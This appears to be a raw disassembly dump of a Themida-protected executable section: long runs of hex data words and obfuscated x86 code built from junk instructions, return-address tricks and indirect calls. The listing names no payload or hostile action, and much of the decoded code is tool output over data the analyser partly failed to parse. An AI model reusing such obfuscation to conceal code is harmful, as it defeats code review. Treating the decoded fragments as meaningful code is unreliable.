0C816B6C3h, 0E181AC77h, 35F6EB74h, 113E9h, 0F9BF0F00h dd 0C880Fh, 8C0F0000h, 6, 2789958Bh, 0B5FF07FAh, 7FD2F15h dd 10E9h, 4CD0500h, 0EA781AB0h, 75A2E360h, 92C5BCB9h, 0AD95FF3Dh dd 6607FA21h, 0E98BD981h, 8B0F006Ah, 6, 294D8D29h, 6A07FAh dd 2C41BD29h, 6A07FAh, 0B458D0Bh, 0B70F07FAh, 0BF006ACEh dd 4CA38B3Dh, 8529006Ah, 7FA2305h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 3E133BC3h dd 2742BE83h, 8531A3A7h, 7FA34C1h, 2F19858Dh, 6A07FDh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E8C977C3h, 6, 0F239826Bh, 89590A64h, 0FA31DDB5h, 8D8B5007h dd 7FA0B15h, 311D95FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 8344C5C3h, 0D0956F7Ch dd 8D896951h, 7FA234Dh, 0FFFF883h, 17585h, 81665700h, 5F1DE2E9h dd 0E5A0858Dh, 0E28007FCh, 81D0FF40h, 5249ADAh, 89006A0Ch dd 0FA242DBDh, 0F006A07h, 1485h, 0FE900h, 60C50000h, 0BB2858F4h dd 35467DAh, 0A54E331Fh, 66006A40h, 6A36BBB9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0E3A3A8Eh, 3EC1A277h, 0DE9006Ah, 1F000000h, 0EDF0BCAEh dd 92B5920Dh, 9725910Dh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 8D892DC3h, 7FA0841h dd 69CBBF66h, 2F19858Dh, 6A07FDh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0E92F29C3h, 7, 55776713h dd 0FCB9080h, 0F550CABFh, 311D95FFh, 2BBA07FAh, 8075B59Bh dd 0F8835AEAh, 87850FFFh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2638C356h dd 6E71A32Ch, 0FC3159E7h, 2921B58Dh, 8D8B07FDh, 7FA0CA5h dd 0D38A858Dh, 6A07FCh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0D3CFC7C3h, 3A0AE4B8h, 816612FEh dd 0FF4C8BC9h, 85BD8BD0h, 6A07FA07h, 0C5B96600h, 5995010Eh dd 0FF07FA2Ah, 0FA0EBD95h, 6E95107h, 9D000000h, 5410A75h dd 8589590Bh, 7FD2F15h, 0FE9h, 0B8A28C00h, 9553A13Dh, 4834821Ch dd 76BBB462h, 0D799D09h, 6A07FAh, 3D18B66h, 0FA14898Dh dd 0D858D07h, 8B07FD2Fh, 0FA269DBDh, 860F5007h, 6, 2915BD8Bh dd 46A07FAh, 0C4CDC781h, 858D1754h, 7FA1505h, 8A0Fh, 0E9500000h dd 10h, 0C5923D1Bh, 50D648E8h, 0EF9E5AF9h, 293C96B4h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BF0FB4C3h, 89006AC9h, 0FA201995h, 8B016A07h, 0FA0B29BDh dd 15B5FF07h, 0E907FD2Fh, 0Fh, 0DF5D5B74h, 944FD093h, 38041542h dd 0FF8C79CDh, 0FA2E6195h, 1D84E907h, 89530000h, 0FA31B195h dd 0C08B5A07h, 1491BD89h, 0BD8307FAh, 7FA2ACDh, 83097500h dd 0FA1899BDh, 19740007h, 0C08B5350h, 7D2B8h, 0C9858900h dd 8D07FA20h dd 0FCE2249Dh, 5BD3FF07h, 99BD8358h, 7FA18h, 53501774h dd 7D2B8h, 0C9858900h, 8D07FA20h, 0FCDF139Dh, 5BD3FF07h dd 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0F195896Eh, 8B07FA00h, 56006AC0h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0EC5763F9h, 8F43DDB4h, 85C7A066h, 7FA33EDh, 1, 68FEB70Fh dd 0CEE4E7B8h, 0AF5B5FFh, 858D07FAh, 7FA3AE2h, 8589D0FFh dd 7FA081Dh, 3171858Dh, 8D5007FDh, 0FD342E85h, 1685007h dd 0FF800000h, 0FA081D95h, 75C00B07h, 0D585C70Ah, 107FA00h dd 68000000h, 0C005DBD4h, 0AF5B5FFh, 858D07FAh, 7FA3AE2h dd 8589D0FFh, 7FA1F0Dh, 23BE858Dh, 0FF5007FDh, 0FA08A5B5h dd 3595FF07h, 0B07FA28h, 8B0B74C0h, 71858DD8h, 5007FD33h dd 858DD3FFh, 7FD3371h, 9388366h, 85C70A75h, 7FA1CC5h dd 1, 8C995FFh, 0FF2507FAh, 83000000h, 0A7305F8h, 0D9585C7h dd 107FAh, 958B0000h, 7FA24EDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0EEC35646h, 0BF30F16Bh, 99CF0D58h dd 14E922h, 0DB530000h, 0F2EE04D3h, 6D9EA873h, 3E8A83EAh dd 0E4C757B4h, 8B0FB97Bh, 6, 305B589h, 0BD8007FAh, 7FD2F80h dd 23840F00h, 0E9000000h, 7, 0D7D2B64Eh, 0E90C7F73h, 5 dd 29B928D6h, 2ABD8371h, 7FD34h, 14840Fh, 0A3E90000h, 0E900001Bh dd 0Ah, 0C389F46Fh, 14FAFAC8h, 0BD83B7BDh, 7FA1CC5h, 10850F00h dd 0E9000001h, 10h, 0CB39ED64h, 39444B1Fh, 6D9AC61Ch, 0E04732Eh dd 2DE5BD8Bh, 858D07FAh, 7FD2F4Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0BCC35242h, 666AAEE5h, 37E0C781h dd 50D38B66h, 0F58D0B50h, 5907FA18h, 8589016Ah, 7FA34D9h dd 4BEBF66h, 6AFC006Ah, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 51F65667h, 18D0F57h, 0FC000000h dd 225995FFh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0BB1366C3h, 8589C8C7h, 7FD2F74h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 28C35343h dd 9E2399BEh, 43737B76h, 2EABAC5h, 0FF6A3F89h, 0FE9h, 0DFF6AC00h dd 0B1F19AF2h, 0EB139675h, 0C65A11EAh, 2F74B5FFh, 0E78107FDh dd 7FD2ACBFh, 287595FFh, 840F07FAh, 3, 8DCBB70Fh, 0FD238585h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0FDEE29ACh, 57502A32h, 9195CF81h, 0FF5F067Bh dd 0FA281995h, 6810F07h, 89000000h, 0FA2F4185h, 0F858907h dd 8D07FD24h, 0FD239285h, 7E907h, 33BE0000h, 3FDE65BFh dd 13E950E8h, 68000000h, 0BB63BDA8h, 0BAD96F7h, 0EEF97C55h dd 0A3132E4Dh, 0B5FFD54Eh, 7FD240Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 89C35545h, 3E8760Dh, 95FFECD3h dd 7FA2835h, 17C98589h, 18BA07FAh, 8D64FB56h, 0FD240085h dd 47B96607h, 6A50F0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 686069C3h, 240FB5FFh, 858907FDh dd 7FA3165h, 283595FFh, 8D8907FAh, 7FA1491h, 24238589h dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 102AAEC3h, 8172A082h, 92CB9FE2h, 0E020BF06h dd 858D30B0h, 7FD23DFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 6CC35242h, 0A5E94ABh, 2BC7A47Ch, 35950950h dd 0FF07FA14h, 0FD240FB5h, 28A0F07h, 0B2000000h, 3595FF44h dd 5007FA28h, 5F2BDD80h, 241B8589h, 55B507FDh, 23D2858Dh dd 0BD8B07FDh, 7FA0E8Dh, 0F7816650h, 0B5FF8D71h, 7FD240Fh dd 6830Fh, 8D8B0000h, 7FA01BDh, 0B81B529h, 95FF07FAh, 7FA2835h dd 14E8h, 67713A00h, 45D2EC75h, 8A6FE66h, 0DA5603BDh, 8FCFD3B4h dd 5E832h, 23570000h, 0E9198F7Ch, 14h, 36045B5Dh, 2BA051A9h dd 0AA82826Ah, 6FE0DD6Bh, 3AE4A8A9h, 8589595Ah, 7FD241Fh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 5C35545h dd 8B6F6D15h, 0FA0E99BDh, 0FE907h, 770E0000h, 0A13EC1A2h dd 604A628Eh, 0D3208B03h, 0ED858DBBh, 6A07FD23h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0A49EC352h, 66E9BA49h, 0A0BD7F6Ah, 0AF1958Bh, 816607FAh dd 50431DC2h, 78D950Bh, 0B5FF07FAh, 7FD240Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F3C35747h, 8A3B3FA7h dd 38A0FD3h, 66000000h, 95FFFB8Bh, 7FA2835h, 8C0F6060h dd 0 ; --------------------------------------------------------------------------- mov eax, [ebp+7FA24E5h] popa xor [ebp+7FA2915h], eax popa mov [ebp+7FA2481h], eax mov [ebp+7FA2C39h], eax lea eax, [ebp+7FD23A1h] or dx, 5D0Dh push eax push 0 push eax call sub_5B8051 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8051 proc near ; CODE XREF: Themida_:005B8049p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5B8051 endp ; --------------------------------------------------------------------------- sti jl short loc_5B808B mov cl, 0BAh cmp al, 20h popa dec edi push dword ptr [ebp+7FD240Fh] add cx, 1B0h call dword ptr [ebp+7FA2835h] call sub_5B8088 clc setz byte ptr [edx+316DAFFCh] ; =============== S U B R O U T I N E ======================================= sub_5B8088 proc near ; CODE XREF: Themida_:005B807Bp movsx edx, bx loc_5B808B: ; CODE XREF: Themida_:005B8062j pop ecx mov [ebp+7FD2413h], eax mov [ebp+7FA0755h], edx lea eax, [ebp+7FD23B0h] xor [ebp+7FA238Dh], ecx push eax mov ecx, [ebp+7FA10A1h] push dword ptr [ebp+7FD240Fh] call dword ptr [ebp+7FA2835h] and edx, [ebp+7FA16D5h] mov [ebp+7FD2417h], eax mov ecx, 159D1BE6h push 104h lea eax, [ebp+7FD24A7h] push 0 push edi call sub_5B80DE and [edi-3Dh], bl sub_5B8088 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B80DE proc near ; CODE XREF: sub_5B8088+4Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5B80DE endp ; --------------------------------------------------------------------------- sti mov ecx, 5136FD0Ah and edx, [ebp+7FA29DDh] pop edi push eax mov edi, [ebp+7FA2669h] mov dx, cx lea eax, [ebp+7FD25ABh] jns loc_5B8118 jnb loc_5B8118 clc loc_5B8118: ; CODE XREF: Themida_:005B810Bj ; Themida_:005B8111j adc di, 7CE1h push eax push 0 push ebx call sub_5B8129 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8129 proc near ; CODE XREF: Themida_:005B8121p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5B8129 endp ; --------------------------------------------------------------------------- db 0E9h, 8Bh, 6 ; --------------------------------------------------------------------------- icebp inc ebp retn ; --------------------------------------------------------------------------- movzx edi, di call dword ptr [ebp+7FA18C9h] mov edx, ebx jmp loc_5B8159 ; --------------------------------------------------------------------------- xor al, 0E5h xchg eax, esi inc ebx db 3Eh xor edi, [edi] push edi test al, 72h loc_5B8159: ; CODE XREF: Themida_:005B814Aj test eax, eax jnz loc_5B817D call near ptr loc_5B816B+5 mov ecx, 0CB5DAFACh loc_5B816B: ; CODE XREF: Themida_:005B8161p sal dword ptr [edx+ebp*2-7274254Bh], cl or [esi], ecx cli pop es pop ecx add [ebp+7FA0BEDh], ebx loc_5B817D: ; CODE XREF: Themida_:005B815Bj cmp byte ptr [ebp+7FD2F80h], 0 jnz loc_5B81C2 push 0 push eax call sub_5B8195 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8195 proc near ; CODE XREF: Themida_:005B818Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5B8195 endp ; --------------------------------------------------------------------------- db 5Eh, 0D8h, 95h ; --------------------------------------------------------------------------- xchg eax, ebx db 26h add eax, 0F9D6BEAh add dword ptr ds:66000000h, 4EC5C981h jmp loc_5B97FE ; --------------------------------------------------------------------------- mov cx, 0E110h loc_5B81C2: ; CODE XREF: Themida_:005B8184j cmp dword ptr [ebp+7FA1CC5h], 0 jnz loc_5B81EA jmp loc_5B81DA ; --------------------------------------------------------------------------- dd 655AB646h db 4Bh, 6Ah ; --------------------------------------------------------------------------- loc_5B81DA: ; CODE XREF: Themida_:005B81CFj cmp dword ptr [ebp+7FD342Ah], 0 jz loc_5B8227 movzx edi, ax loc_5B81EA: ; CODE XREF: Themida_:005B81C9j lea eax, [ebp+7FD2444h] or [ebp+7FA3455h], ebx jmp loc_5B97FE ; --------------------------------------------------------------------------- jmp loc_5B822E ; --------------------------------------------------------------------------- push 0 push esi call sub_5B820B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B820B proc near ; CODE XREF: Themida_:005B8203p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5B820B endp ; --------------------------------------------------------------------------- sub cl, al fisttp dword ptr [ecx-5F9964Bh] pop es mov di, bx loc_5B8227: ; CODE XREF: Themida_:005B81E1j lea eax, [ebp+7FD242Fh] clc loc_5B822E: ; CODE XREF: Themida_:005B81FBj push eax movsx edx, bx mov cx, ax lea eax, [ebp+7FD24A7h] clc movzx ecx, di push eax mov edi, 0DBC94F6h cmp dword ptr [ebp+7FA1CC5h], 0 jz loc_5B8296 jnp loc_5B825E sub [ebp+7FA1F79h], esi loc_5B825E: ; CODE XREF: Themida_:005B8252j jp loc_5B8266 mov edx, ebx loc_5B8266: ; CODE XREF: Themida_:loc_5B825Ej lea eax, [ebp+7FD25CDh] mov edi, [ebp+7FA100Dh] jmp loc_5B82CB ; --------------------------------------------------------------------------- jmp loc_5B8284 ; --------------------------------------------------------------------------- dd 0F994FC41h, 0CFACD916h ; --------------------------------------------------------------------------- loc_5B8284: ; CODE XREF: Themida_:005B8277j jmp loc_5B8296 ; --------------------------------------------------------------------------- align 2 dw 90F3h dd 0C100D504h, 0D51E7EECh ; --------------------------------------------------------------------------- and bl, al loc_5B8296: ; CODE XREF: Themida_:005B824Cj ; Themida_:loc_5B8284j lea eax, [ebp+7FD25B6h] push 0 push ebx call sub_5B82A7 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B82A7 proc near ; CODE XREF: Themida_:005B829Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5B82A7 endp ; --------------------------------------------------------------------------- mov edx, 51DB39DDh retn 0EAFEh ; --------------------------------------------------------------------------- mov ecx, [ebp+7FA2185h] xor [ebp+7FA0091h], edi loc_5B82CB: ; CODE XREF: Themida_:005B8272j push eax mov [ebp+7FA2F41h], edx lea eax, [ebp+7FD2605h] cld push eax push 0 push edx call sub_5B82E5 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B82E5 proc near ; CODE XREF: Themida_:005B82DDp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5B82E5 endp ; --------------------------------------------------------------------------- db 0E6h, 34h, 4Ch dd 0FFF13FBDh, 0FA0DC595h, 6E907h, 0BB780000h, 891BD70Ah dd 5FD38A53h, 8B10C483h, 60C08BCBh, 2249858Bh, 0B52907FAh dd 7FA0BC9h, 0CDBD8361h, 7FA2Ah, 0BD830975h, 7FA1899h dd 50197400h, 0B8C08B53h, 7D3h, 20C98589h, 9D8D07FAh, 7FCE224h dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h, 7D3h, 20C98589h dd 9D8D07FAh, 7FCDF13h, 585BD3FFh, 0EE851F5h, 0C4000000h dd 11166131h, 219D75EEh, 0B95670E1h, 0CEB70F1Fh, 0C08B5F59h dd 0BD81CE8Ah, 7FD242Fh, 6165726Fh, 0BB840Fh, 858D0000h dd 7FD24A7h, 0E4858D50h, 5007FD25h, 2605858Dh, 0FF5007FDh dd 0FA0DC595h, 0CC48307h, 66585C6h, 684407FAh, 96A3184Fh dd 8A5B5FFh, 858D07FAh, 7FA3AE2h, 0D88BD0FFh, 2605858Dh dd 0FF5007FDh, 2F858DD3h, 5007FD24h, 24A7858Dh, 835007FDh dd 0FA1CC5BDh, 8740007h, 25CD858Dh, 6EB07FDh, 25B6858Dh dd 8D5007FDh, 0FD260585h, 95FF5007h, 7FA0DC5h, 6A10C483h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 676FC350h, 6A2490D3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8B18C350h dd 0FA08D18Dh, 0C995FF07h, 8107FA08h, 3DF39AE9h, 0FF2567h dd 83F80000h, 830F05F8h, 52h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 5BC35747h, 2F49B3BAh, 660F0AA3h dd 85C7D68Bh, 7FA0D95h, 1, 2FE9BF66h, 2463858Dh, 8D0B07FDh dd 7FA2A9Dh, 8BE9h, 7880F00h, 0F000000h, 180h, 0BD83FC00h dd 7FA1CC5h, 49840F00h, 8B000000h, 0FA18618Dh, 8E858D07h dd 0F07FD24h, 0E87h, 85036000h, 7FA0D61h, 840Fh, 0E9610000h dd 4Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h dd 0BAC35343h, 365EE80Bh, 0F8B70F93h, 2470858Dh, 6A07FDh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0EB331C3h, 391589CEh, 24A38589h, 958907FDh, 7FA2215h dd 1CC5BD83h, 0F0007FAh, 1585h, 0BF0F5600h, 0BD835AFBh dd 7FD342Ah, 0E840F00h, 80000000h, 87E99FC6h, 2B000012h dd 0FA316D95h, 4CDE907h, 0BD2B0000h, 7FA238Dh, 6AC08Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 601CD3C3h, 8387CAE5h, 0FA2ACDBDh, 9750007h, 1899BD83h dd 740007FAh, 8B535019h, 7D4B8C0h, 85890000h, 7FA20C9h dd 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh, 7FA1899h, 50177400h dd 7D4B853h, 85890000h, 7FA20C9h, 0DF139D8Dh, 0D3FF07FCh dd 8D89585Bh, 7FA0829h, 5E9h, 5C740500h, 0C08B655Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D7C35343h, 0DCA9CBE3h dd 0B30ACF28h, 12E8h, 9A23B500h, 37A17998h, 3A43B276h dd 2E21409Dh, 0F3E517Fh, 685FD3B7h, 0F003Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B5C35646h, 66006AD9h dd 6A7D7EB9h, 12E800h, 490A0000h, 0B5179A90h, 6390A885h dd 69BEF85Ch, 6FF06E70h, 5966E980h, 17C995FFh, 10E907FAh dd 0BA000000h, 0E1B68F13h, 5946AA7Fh, 0D62F36C2h, 858FBF3Dh dd 850FC0h, 89000000h, 0FD242785h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0B1E2CF70h dd 0F006AE5h, 1E84h, 18830F00h, 0E9000000h, 13h, 8D28BA4Eh dd 4AD57650h, 0FCA228D9h, 5BFB004Fh, 6ADDBDCAh, 95B52900h dd 6A07FA1Eh, 958D8B00h, 6A07FA01h, 6A006A00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 7597C352h, 7EA9AD9Ch, 5858DFCh, 8B07FD26h, 0FA0EA995h dd 6A5007h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0ECE0E4C3h, 0B4A8ADB9h, 8B016A52h, 0FA17C1BDh dd 5E907h, 67840000h, 6A9AF3EEh, 0B966FC01h, 16A361Bh dd 0F01FF68h, 99858900h, 8307FA10h, 0FA1CC5BDh, 840F0007h dd 1Dh, 0AB6B6FBAh, 84858D3Ch, 6607FD24h, 0E06ACF81h, 14E9h dd 89D78B00h, 0FA23A585h, 5A858D07h, 8907FD24h, 0FA1CE1B5h dd 8D8B5007h, 7FA26E9h, 0B5FFF550h, 7FD2427h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 89C35242h, 6D4C84F7h dd 59926900h, 0FFC8BF0Fh, 0FD241395h, 6850F07h, 23000000h dd 0FA26F9BDh, 0FC08507h, 5385h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0FE8604Ch dd 54000000h, 0CFE29CF4h, 40177FC4h, 4F748EDBh, 0AE9F2E8h dd 0A3000000h, 46A0D618h, 0DF30D117h, 8D0B588Ch, 7FA2C39h dd 0B4E961h, 958B0000h, 7FA104Dh, 242B8589h, 952307FDh dd 7FA1641h, 242BB5FFh, 6A07FDh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 145DCEC3h, 0A633F7CEh dd 7E9BFEBh, 0EF000000h, 0BB55E828h, 880FE0F1h, 2Fh, 11E8h dd 0A9488100h, 466CD383h, 3462C8BBh, 0B310A1E8h, 13E9D73Fh dd 0AE000000h, 5B13068Dh, 0C7DEFDA2h, 80B36335h, 38DEF44Eh dd 0FF5A4317h, 0FA248195h, 4BBF5707h, 5F067ABBh, 850FC085h dd 22h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h dd 98C35545h, 7F1BD8Bh, 106A07FAh, 0BD83CF8Ah, 7FA1CC5h dd 35840F00h, 0E9000000h, 12h, 0C30A7F81h, 2C4C9543h, 1662E221h dd 0FC1C2FDCh, 858D9221h, 7FD2484h, 23D9B589h, 30E907FAh dd 0E8000000h, 7, 0DD1535A9h, 5A8DBDFAh, 245A858Dh, 6A07FDh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 50D6F1C3h, 0C9BD8960h, 0F07FA14h, 583h, 0D0816600h dd 0FF610ECFh, 0FD2427B5h, 418D8907h, 0FF07FA2Fh, 0FD241F95h dd 13E807h, 77BE0000h, 664AE052h, 6325A575h, 0D3F837E3h dd 52FAF0B3h, 2840FA5h, 56000000h, 0C0855A5Fh, 6850Fh dd 0BD8B0000h, 7FA00A1h, 242B8589h, 6A07FDh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 71C35141h, 6A69DBh dd 0F9B70F60h, 2BB5FF61h, 0F07FD24h, 683h, 41953100h, 0FF07FA08h dd 0FD241795h, 3757BF07h, 0C08536FBh, 5850Fh, 81660000h dd 0FFBC98CAh, 0FD242BB5h, 0D9D8907h, 8907FA1Dh, 0FA25759Dh dd 8195FF07h, 8B07FA24h, 0FA17E1BDh, 0FC08507h, 685h, 0B98D8B00h dd 6A07FA17h, 0E98D8B00h, 6807FA0Dh, 80h, 10C1958Bh, 36A07FAh dd 2349BD89h, 6A07FAh, 5800Fh, 81660000h, 6AB97EF7h, 51C18100h dd 685F7D3Bh, 0C0000000h, 68A0Fh, 0C1810000h, 3760B10Fh dd 24A3B5FFh, 816607FDh, 0FFA7E9E9h, 0FA311D95h, 0D18B6607h dd 2709BD29h, 0F88307FAh, 9C850FFFh, 0F000005h, 583h, 0C2816600h dd 85FF8ADAh, 7FD2F11h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 1FC35242h, 0AC008A85h, 11BD83C4h, 207FD2Fh dd 430840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0C49262C3h, 16718D31h, 858D07FAh, 5B243Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 89C35646h, 8BD8590Ch dd 0FA27598Dh, 89D0FF07h, 0FA0E198Dh, 8E858D07h, 81005B1Eh dd 219541D7h, 0BFD0FF64h, 3045734Bh, 0CE8h, 620BE400h dd 6B7E0365h, 0DFA56721h, 0F99529EBh, 5907FA16h, 3360C08Bh dd 0FA064DB5h, 6E807h, 0B6370000h, 0AB890CD9h, 8A0Fh, 615E0000h dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h dd 0D8B8C08Bh, 89000007h, 0FA20C985h, 249D8D07h, 0FF07FCE2h dd 83585BD3h, 0FA1899BDh, 17740007h, 0D8B85350h, 89000007h dd 0FA20C985h, 139D8D07h, 0FF07FCDFh, 6A585BD3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 5C97C350h, 258D8BACh, 0F07FA0Fh, 158Ah, 10E900h, 54FB0000h dd 0C663337h, 0D0A030ACh, 1E42FF32h, 0E8F58371h, 0Ch, 8F5F47A6h dd 79BD8E42h, 1CC061Ch, 18D5B529h, 8B5F07FAh, 0B58956C0h dd 7FA10C1h, 3F6859h, 0CE8B000Fh, 6AF9006Ah, 0E9816600h dd 95FF0AF0h, 7FA17C9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 65C35343h, 8BF06836h, 0FA0CE98Dh, 0FC08507h dd 8589D2B7h, 7FD2427h, 5870Fh, 0EEB90000h, 68562807h dd 0F01FFh, 0EA5958Bh, 0BD8307FAh, 7FA1CC5h, 1E840F00h dd 89000000h, 0FA01199Dh, 0C087B907h, 858D7403h, 7FD2484h dd 8518D8Bh, 8E907FAh, 8B000000h, 5A858DFAh, 5007FD24h dd 0FF5BD03h, 0B5FF07FAh, 7FD2427h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0AC35646h, 95F9B503h, 29958BBAh dd 0FF07FA18h, 0FD241F95h, 69BD8907h, 8907FA1Eh, 0FD242B85h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0F3E2585Eh, 0E9D4B16Eh, 5, 6A591EDAh, 0CE8B6678h dd 229585C7h, 7FAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0A5ABEBC3h, 8E0FCF8Bh dd 2, 0BD83F88Bh, 7FD242Bh, 9A840F00h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 9E37C350h, 0EBE63A62h, 9509AEB1h, 7FA2D61h, 2709858Dh dd 0BD8B07FDh, 7FA0BD9h, 0FDBD3350h, 8907FA21h, 0FA1DDDBDh dd 0BA016A07h, 442280F4h, 242BB5FFh, 12E907FDh, 0FD000000h dd 89226C6Fh, 0F224B2D1h, 0BCBA7AA1h, 4FA7035Ch, 2395FF85h dd 6607FD24h, 0B5FFCE8Bh, 7FD242Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 9C35747h, 6C6D0051h, 0F21BD01h dd 9CB507FAh, 248195FFh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0BD71D0C3h, 3552EA32h dd 0AE95300h, 25000000h, 75C2BE03h, 0C90BC1D9h, 0FF685A00h dd 51000F01h, 0E3D8D8Bh, 15A07FAh, 0FA0FF59Dh, 0C5BD8307h dd 7FA1Ch, 29840Fh, 8C0F0000h, 6, 35099589h, 9D8907FAh dd 7FA181Dh, 2484858Dh, 8D8B07FDh, 7FA100Dh, 20E9h, 52526000h dd 8D615858h, 0FD245A85h, 0FE907h, 8BE60000h, 0EA64D265h dd 9B11AD14h, 0F40F5861h, 952350E9h, 7FA2D31h, 2427B5FFh dd 816607FDh, 0FF5E43D7h, 0FD241F95h, 14E907h, 0D28F0000h dd 57095296h, 7E1A0642h, 0B623F13Ch, 0A5CD0C5Dh, 85895A0Dh dd 7FD242Bh, 3455BD0Bh, 0B5FF07FAh, 7FD242Bh, 95FFD68Bh dd 7FD241Bh, 0FFFB8B66h, 0FD242BB5h, 8195FF07h, 8107FA24h dd 7558C6D1h, 0F66AE915h, 0B966FFFFh, 0B5FFF9FAh, 7FD2F74h dd 2E759533h, 95FF07FAh, 7FA1799h, 4EDAEF81h, 858B706Dh dd 7FA29D5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0ABC35141h, 0F95EB5B6h, 9840Fh, 8F0F0000h, 3, 0E9FEBF0Fh dd 6D2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0E9C35545h, 0A19D2977h, 8D07FA0Dh, 0FD2729B5h dd 0E890F07h, 60000000h, 18D5B589h, 850907FAh, 7FA0851h dd 8A858D61h, 0F07FCD3h, 680h, 0E9B58900h, 0FF07FA02h dd 0C98D09D0h, 8907FA1Ch, 0FA218595h, 6A006A07h, 